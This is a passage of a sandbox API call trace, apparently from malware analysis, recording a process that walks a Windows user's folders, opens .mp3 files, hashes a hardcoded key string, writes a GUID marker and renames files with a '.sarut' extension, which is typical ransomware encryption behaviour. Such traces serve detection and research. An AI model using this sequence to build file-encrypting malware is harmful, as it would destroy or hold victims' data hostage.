hHeap=0x640000) returned 1 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.925] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0268.925] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0268.925] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0268.925] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0268.925] PathFindFileNameW (pszPath="") returned="" [0268.925] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0268.925] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.925] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0268.925] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0268.925] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0268.925] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0268.925] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0268.925] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0268.925] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0268.925] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0268.926] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0268.926] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0268.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0268.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0268.926] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0268.926] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0268.926] PathFindFileNameW (pszPath="") returned="" [0268.926] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0268.926] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.926] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0268.926] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0268.926] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0268.927] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0268.927] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0268.927] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0268.927] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0268.927] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0268.927] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0268.927] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0268.927] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0268.927] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0268.927] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0268.927] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0268.927] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0268.927] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0268.927] PathFindFileNameW (pszPath="") returned="" [0268.927] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0268.928] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0268.928] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0268.928] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0268.928] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0268.928] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0268.928] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0268.928] PathFindFileNameW (pszPath="") returned="" [0268.928] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc445d3e0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc445d3e0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0268.928] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc445d3e0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc445d3e0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.928] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119e1d00, ftCreationTime.dwHighDateTime=0x1d4d41a, ftLastAccessTime.dwLowDateTime=0xe9fa8420, ftLastAccessTime.dwHighDateTime=0x1d4cdb9, ftLastWriteTime.dwLowDateTime=0xe9fa8420, ftLastWriteTime.dwHighDateTime=0x1d4cdb9, nFileSizeHigh=0x0, nFileSizeLow=0x85f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-avjGaTi5fer-bMia.mp3", cAlternateFileName="-AVJGA~1.MP3")) returned 1 [0268.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-avjGaTi5fer-bMia.mp3") returned=".mp3" [0268.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-avjGaTi5fer-bMia.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-avjgati5fer-bmia.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.930] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=34296) returned 1 [0268.930] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.932] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.932] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.934] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.934] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85f8, lpOverlapped=0x0) returned 1 [0268.935] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.935] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.935] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.935] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0268.936] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.936] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.936] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.936] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.936] GetLastError () returned 0x0 [0268.936] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.936] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0268.936] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.936] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.936] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.937] CloseHandle (hObject=0x5c4) returned 1 [0268.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0268.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0268.941] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-avjGaTi5fer-bMia.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-avjgati5fer-bmia.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-avjGaTi5fer-bMia.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-avjgati5fer-bmia.mp3.sarut")) returned 1 [0268.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.942] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0268.943] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd98a3fe0, ftCreationTime.dwHighDateTime=0x1d4c8e1, ftLastAccessTime.dwLowDateTime=0x4f5656e0, ftLastAccessTime.dwHighDateTime=0x1d4caa5, ftLastWriteTime.dwLowDateTime=0x4f5656e0, ftLastWriteTime.dwHighDateTime=0x1d4caa5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7SLVf8", cAlternateFileName="")) returned 1 [0268.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0268.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0268.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0268.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.943] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e18a2d0, ftCreationTime.dwHighDateTime=0x1d4c727, ftLastAccessTime.dwLowDateTime=0x6578d870, ftLastAccessTime.dwHighDateTime=0x1d4c8a3, ftLastWriteTime.dwLowDateTime=0x6578d870, ftLastWriteTime.dwHighDateTime=0x1d4c8a3, nFileSizeHigh=0x0, nFileSizeLow=0x10ece, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8GQt402SpMYiSB.mp3", cAlternateFileName="8GQT40~1.MP3")) returned 1 [0268.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8GQt402SpMYiSB.mp3") returned=".mp3" [0268.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8GQt402SpMYiSB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8gqt402spmyisb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.944] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=69326) returned 1 [0268.944] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.947] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ea8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.947] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.949] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.949] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x10ece, lpOverlapped=0x0) returned 1 [0268.950] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.950] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.950] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.950] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.950] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0268.951] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.951] CryptHashData (hHash=0x3091560, pbData=0x3097270, 